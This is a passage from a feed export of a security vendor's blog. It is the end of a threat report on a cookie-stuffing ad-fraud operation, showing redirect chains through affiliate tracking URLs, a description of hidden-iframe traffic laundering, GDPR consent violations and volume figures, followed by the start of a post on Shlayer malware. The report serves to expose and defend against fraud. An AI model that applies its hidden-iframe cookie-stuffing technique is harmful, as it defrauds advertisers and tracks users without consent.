https://substackcdn.com/image/fetch/$s_!C__U!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd873-2d87-4bad-9450-eae19ba62f2a_788x68.png 1272w, https://substackcdn.com/image/fetch/$s_!C__U!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd873-2d87-4bad-9450-eae19ba62f2a_788x68.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!C__U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd873-2d87-4bad-9450-eae19ba62f2a_788x68.png" width="788" height="68" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/46cbd873-2d87-4bad-9450-eae19ba62f2a_788x68.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:68,&quot;width&quot;:788,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!C__U!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd873-2d87-4bad-9450-eae19ba62f2a_788x68.png 424w, https://substackcdn.com/image/fetch/$s_!C__U!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd873-2d87-4bad-9450-eae19ba62f2a_788x68.png 848w, https://substackcdn.com/image/fetch/$s_!C__U!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd873-2d87-4bad-9450-eae19ba62f2a_788x68.png 1272w, https://substackcdn.com/image/fetch/$s_!C__U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd873-2d87-4bad-9450-eae19ba62f2a_788x68.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><strong>Redirect chain (still hidden inside invisible iframe):</strong></p><p><code>https://www.linkbux.com/track/e266uWOnCOlkX6woQDCFs3dUTD57c2EajL_aOE9LBtEaNMDXGGuaAd0iCEANyHpwod2qxgTOd3maDVlg_c?url=https%3A%2F%2Fbeautyworksonline.com%2F&amp;uid=63523bd176755c47d5ce7d9f-RL-246703</code></p><p><code>https://beautyworksonline.com/en_US</code></p><p><strong>Bad Publisher B</strong> on click via <code>GET</code> request</p><pre><code><strong>GET</strong>  https://www.thetop3.com/uk/top-3-unique-gifts-for-your-soulmate/</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EY0o!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b4fa362-0b2f-4b52-9c12-6c5f3ffe1c7d_500x508.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EY0o!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b4fa362-0b2f-4b52-9c12-6c5f3ffe1c7d_500x508.jpeg 424w, https://substackcdn.com/image/fetch/$s_!EY0o!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b4fa362-0b2f-4b52-9c12-6c5f3ffe1c7d_500x508.jpeg 848w, https://substackcdn.com/image/fetch/$s_!EY0o!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b4fa362-0b2f-4b52-9c12-6c5f3ffe1c7d_500x508.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!EY0o!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b4fa362-0b2f-4b52-9c12-6c5f3ffe1c7d_500x508.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EY0o!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b4fa362-0b2f-4b52-9c12-6c5f3ffe1c7d_500x508.jpeg" width="500" height="508" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2b4fa362-0b2f-4b52-9c12-6c5f3ffe1c7d_500x508.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:508,&quot;width&quot;:500,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!EY0o!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b4fa362-0b2f-4b52-9c12-6c5f3ffe1c7d_500x508.jpeg 424w, https://substackcdn.com/image/fetch/$s_!EY0o!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b4fa362-0b2f-4b52-9c12-6c5f3ffe1c7d_500x508.jpeg 848w, https://substackcdn.com/image/fetch/$s_!EY0o!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b4fa362-0b2f-4b52-9c12-6c5f3ffe1c7d_500x508.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!EY0o!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b4fa362-0b2f-4b52-9c12-6c5f3ffe1c7d_500x508.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">It&#8217;s a trap!</figcaption></figure></div><p><strong>On Click redirect chain:</strong></p><p><code>https://link.thetop3.com/offer/TFgCEu2AtbzRxfAe4QaQKq8B</code></p><p><code>https://www.linkbux.com/track/e266uWOnCOlkX6woQDCFs3dUTD57c2EajL_aOE9LBtEaNMDXGGuaAd0iCEANyHpwod2qxgTOd3maDVlg_c?url=https%3A%2F%2Fbeautyworksonline.com%2F&amp;uid=63835d5c2ed6d1470b4d899d</code></p><p><code>https://beautyworksonline.com/en_US</code></p><p>The &#8220;clean&#8221; path uses native ad networks to create traffic in the style of ad-driven content websites (often called &#8220;made for advertising&#8221; sites or MFA) but the real purpose here is not to generate ad revenue but to create an audience to support the amount of conversions driven by the &#8220;dirty&#8221; path.</p><p>Traffic generated from the &#8220;dirty&#8221; path is indistinguishable from the traffic in the &#8220;clean&#8221; path.</p><p>Altogether, we are dealing with a well-oiled traffic laundering machine, effective at generating significant ad fraud revenue.</p><h3><strong>Privacy compliance</strong></h3><p>Because landing pages are loaded wholesale in iframes, all the tracking pixels associated with them load in the context of the publisher page. This is the intended behavior for the fraudster.</p><p>Critically, this rogue tracking is not covered by consent management platforms (for obvious reasons &#8212; the malicious code is cloaked by the cookie stuffer). In our diagram above, Publisher A ends up being liable for the tracking pixels served by Brand X without any user consent.</p><pre><code><strong>DatalyMedia and GDPR Compliance</strong>

+-----------------+-----------------+--------------+
| Country         | % of volumes    | GDPR Applies |
+-----------------+-----------------+--------------+
| Australia       | 22%             | No           |
+-----------------+-----------------+--------------+
| Italy           | 15%             | Yes          |
+-----------------+-----------------+--------------+
| Great Britain   | 13%             | Yes          |
+-----------------+-----------------+--------------+
| Sweden          | 13%             | Yes          |
+-----------------+-----------------+--------------+
| Norway          | 8%              | Yes          |
+-----------------+-----------------+--------------+
| Belgium         | 8%              | Yes          |
+-----------------+-----------------+--------------+
| Finland         | 7%              | Yes          |
+-----------------+-----------------+--------------+
| Netherlands     | 5%              | Yes          |
+-----------------+-----------------+--------------+
| Germany         | 5%              | Yes          |
+-----------------+-----------------+--------------+
| Spain           | 1%              | Yes          |
+-----------------+-----------------+--------------+
| France          | 1%              | Yes          |
+-----------------+-----------------+--------------+
| Poland          | 1%              | Yes          |
+-----------------+-----------------+--------------+
| United States   | 1%              | No           |
+-----------------+-----------------+--------------+
| Other           | 1%              | No           |
+-----------------+-----------------+--------------+</code></pre><p>Confiant data shows that 76% of cookie stuffing ads served by DatalyMedia in 2022 were targeting European countries (where the <a href="https://en.wikipedia.org/wiki/General_Data_Protection_Regulation">GDPR</a> applies).</p><p>In an example presented below and reproduced in the Netherlands, although the user granted consent to all declared vendors (according to the corresponding <a href="https://iabeurope.eu/transparency-consent-framework/">TCF</a> consent string we analyzed), DatalyMedia initiated a hidden ad call to <a href="https://tradetracker.com/">TradeTracker</a> (an affiliate network) which dropped a tracking cookie. Since TradeTracker is not registered as a vendor under TCF, it did not obtain consent from the user and was not permitted to collect personal information.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jum7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88b2ff80-5e4b-458f-b9aa-9ad5d0120f1e_788x344.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jum7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88b2ff80-5e4b-458f-b9aa-9ad5d0120f1e_788x344.png 424w, https://substackcdn.com/image/fetch/$s_!jum7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88b2ff80-5e4b-458f-b9aa-9ad5d0120f1e_788x344.png 848w, https://substackcdn.com/image/fetch/$s_!jum7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88b2ff80-5e4b-458f-b9aa-9ad5d0120f1e_788x344.png 1272w, https://substackcdn.com/image/fetch/$s_!jum7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88b2ff80-5e4b-458f-b9aa-9ad5d0120f1e_788x344.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jum7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88b2ff80-5e4b-458f-b9aa-9ad5d0120f1e_788x344.png" width="788" height="344" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/88b2ff80-5e4b-458f-b9aa-9ad5d0120f1e_788x344.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:344,&quot;width&quot;:788,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!jum7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88b2ff80-5e4b-458f-b9aa-9ad5d0120f1e_788x344.png 424w, https://substackcdn.com/image/fetch/$s_!jum7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88b2ff80-5e4b-458f-b9aa-9ad5d0120f1e_788x344.png 848w, https://substackcdn.com/image/fetch/$s_!jum7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88b2ff80-5e4b-458f-b9aa-9ad5d0120f1e_788x344.png 1272w, https://substackcdn.com/image/fetch/$s_!jum7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88b2ff80-5e4b-458f-b9aa-9ad5d0120f1e_788x344.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Example of GDPR violation in the Netherlands, on December 10, 2022</em></p><p>Ironically, DatalyMedia is registered in the TCF <a href="https://iabeurope.eu/vendor-list-tcf-v2-0/">Global Vendor List</a> (GVL) under &#8220;Tredia Solutions&#8221; with only a handful of known DatalyMedia domains declared in their device storage disclosure (at <a href="https://www.tredia.media/deviceStorageDisclosure.json">https://www.tredia.media/deviceStorageDisclosure.json</a>). A long list of domains remains undeclared (see indicators in Appendix).</p><p>Cookie stuffing is inherently hostile to privacy rights and this registration only creates an appearance of compliance. While the IAB Europe (the organization that manages TCF) thanked us for reporting the issue, they have not communicated any outcome resulting from this research.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Gn5N!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3921cbf-4265-452c-b250-551cace7c403_629x557.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Gn5N!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3921cbf-4265-452c-b250-551cace7c403_629x557.png 424w, https://substackcdn.com/image/fetch/$s_!Gn5N!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3921cbf-4265-452c-b250-551cace7c403_629x557.png 848w, https://substackcdn.com/image/fetch/$s_!Gn5N!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3921cbf-4265-452c-b250-551cace7c403_629x557.png 1272w, https://substackcdn.com/image/fetch/$s_!Gn5N!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3921cbf-4265-452c-b250-551cace7c403_629x557.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Gn5N!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3921cbf-4265-452c-b250-551cace7c403_629x557.png" width="629" height="557" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b3921cbf-4265-452c-b250-551cace7c403_629x557.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:557,&quot;width&quot;:629,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Gn5N!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3921cbf-4265-452c-b250-551cace7c403_629x557.png 424w, https://substackcdn.com/image/fetch/$s_!Gn5N!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3921cbf-4265-452c-b250-551cace7c403_629x557.png 848w, https://substackcdn.com/image/fetch/$s_!Gn5N!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3921cbf-4265-452c-b250-551cace7c403_629x557.png 1272w, https://substackcdn.com/image/fetch/$s_!Gn5N!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3921cbf-4265-452c-b250-551cace7c403_629x557.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2><strong>Volumes</strong></h2><p>By extrapolating internal Confiant data, we estimate that DatalyMedia served approximately 125 million display ad impressions in 2022.</p><p>DatalyMedia has had a highly seasonal activity over 2022, with 3 major periods of activity: Winter, Summer and Fall, and an all-time peak on Black Friday &#8212; November 25, with a volume of over 9x their daily 2022 average. This is hardly surprising, as DatalyMedia is inherently a performance marketing shop.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4AYw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ae2611f-5823-4902-9766-0c4b21067eba_788x487.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4AYw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ae2611f-5823-4902-9766-0c4b21067eba_788x487.png 424w, https://substackcdn.com/image/fetch/$s_!4AYw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ae2611f-5823-4902-9766-0c4b21067eba_788x487.png 848w, https://substackcdn.com/image/fetch/$s_!4AYw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ae2611f-5823-4902-9766-0c4b21067eba_788x487.png 1272w, https://substackcdn.com/image/fetch/$s_!4AYw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ae2611f-5823-4902-9766-0c4b21067eba_788x487.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4AYw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ae2611f-5823-4902-9766-0c4b21067eba_788x487.png" width="788" height="487" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3ae2611f-5823-4902-9766-0c4b21067eba_788x487.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:487,&quot;width&quot;:788,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!4AYw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ae2611f-5823-4902-9766-0c4b21067eba_788x487.png 424w, https://substackcdn.com/image/fetch/$s_!4AYw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ae2611f-5823-4902-9766-0c4b21067eba_788x487.png 848w, https://substackcdn.com/image/fetch/$s_!4AYw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ae2611f-5823-4902-9766-0c4b21067eba_788x487.png 1272w, https://substackcdn.com/image/fetch/$s_!4AYw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ae2611f-5823-4902-9766-0c4b21067eba_788x487.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2><strong>Conclusion</strong></h2><p>Cookie stuffing (and more broadly pixel stuffing) sits at the intersection of different interests and focuses: malvertising, ad traffic misrepresentation, affiliate marketing fraud. The lack of industry focus on this issue has allowed these fraudsters to thrive &#8212; specifically in the case of DatalyMedia for a mind-blowing 8 years. More broadly, cookie/pixel stuffing continues to be a large money maker for Adware/malware campaigns.</p><h2><strong>About Confiant</strong></h2><p>Confiant is the cybersecurity industry-leader for ad tech &#8212; specializing in detecting and stopping online attacks as they happen. Since 2013, our mission has been to protect online users and organizations of all sizes. Our platform oversees trillions of ad transactions and detects millions of malicious events, every month.</p><h2><strong>Appendix A</strong></h2><h3><strong><a href="https://gist.githubusercontent.com/heyseanx2/6e160c0e85b278aa3b55637cf9896502/raw/5daf44ecef58ab14e9d07657ad4f78b0b691a05d/datalymedia-compromise.txt">Indicators of Compromise</a></strong></h3>]]></content:encoded></item><item><title><![CDATA[L’art de l’évasion: How Shlayer hides its configuration inside Apple proprietary DMG files]]></title><description><![CDATA[Originally written by Taha Karim]]></description><link>https://blog.confiant.com/p/lart-de-levasion-how-shlayer-hides</link><guid isPermaLink="false">https://blog.confiant.com/p/lart-de-levasion-how-shlayer-hides</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Fri, 23 Dec 2022 18:40:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!-Ibx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-Ibx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 